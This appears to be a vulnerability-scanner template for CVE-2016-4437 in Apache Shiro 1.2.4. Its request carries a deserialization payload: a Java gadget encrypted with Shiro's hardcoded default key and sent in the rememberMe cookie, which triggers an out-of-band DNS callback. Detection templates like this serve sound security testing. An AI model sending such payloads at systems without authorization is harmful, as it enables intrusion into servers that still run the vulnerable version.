46 lines
1.7 KiB
YAML
46 lines
1.7 KiB
YAML
id: CVE-2016-4437
|
|
|
|
info:
|
|
name: Apache Shiro 1.2.4 Cookie RememberME - Deserial Remote Code Execution Vulnerability
|
|
author: iamnoooob,rootxharsh,pdresearch
|
|
severity: high
|
|
description: |
|
|
Apache Shiro before 1.2.5, when a cipher key has not been configured for the "remember me" feature, allows remote attackers to execute arbitrary code or bypass intended access restrictions via an unspecified request parameter.
|
|
reference:
|
|
- https://github.com/Medicean/VulApps/tree/master/s/shiro/1
|
|
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4437
|
|
- http://packetstormsecurity.com/files/137310/Apache-Shiro-1.2.4-Information-Disclosure.html
|
|
- http://packetstormsecurity.com/files/157497/Apache-Shiro-1.2.4-Remote-Code-Execution.html
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 8.1
|
|
cve-id: CVE-2016-4437
|
|
cwe-id: CWE-284
|
|
epss-score: 0.9748
|
|
cpe: cpe:2.3:a:apache:shiro:*:*:*:*:*:*:*:*
|
|
tags: cve,cve2016,apache,shiro,rce,deserialization,oast,kev
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET / HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Cookie: rememberMe={{base64(concat(base64_decode("QUVTL0NCQy9QS0NTNVBhZA=="),aes_cbc(base64_decode(generate_java_gadget("dns", "http://{{interactsh-url}}", "base64")), base64_decode("kPH+bIxk5D2deZiIxcaaaA=="), base64_decode("QUVTL0NCQy9QS0NTNVBhZA=="))))}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol
|
|
words:
|
|
- dns
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- 'Set-Cookie'
|
|
|
|
- type: status
|
|
status:
|
|
- 302
|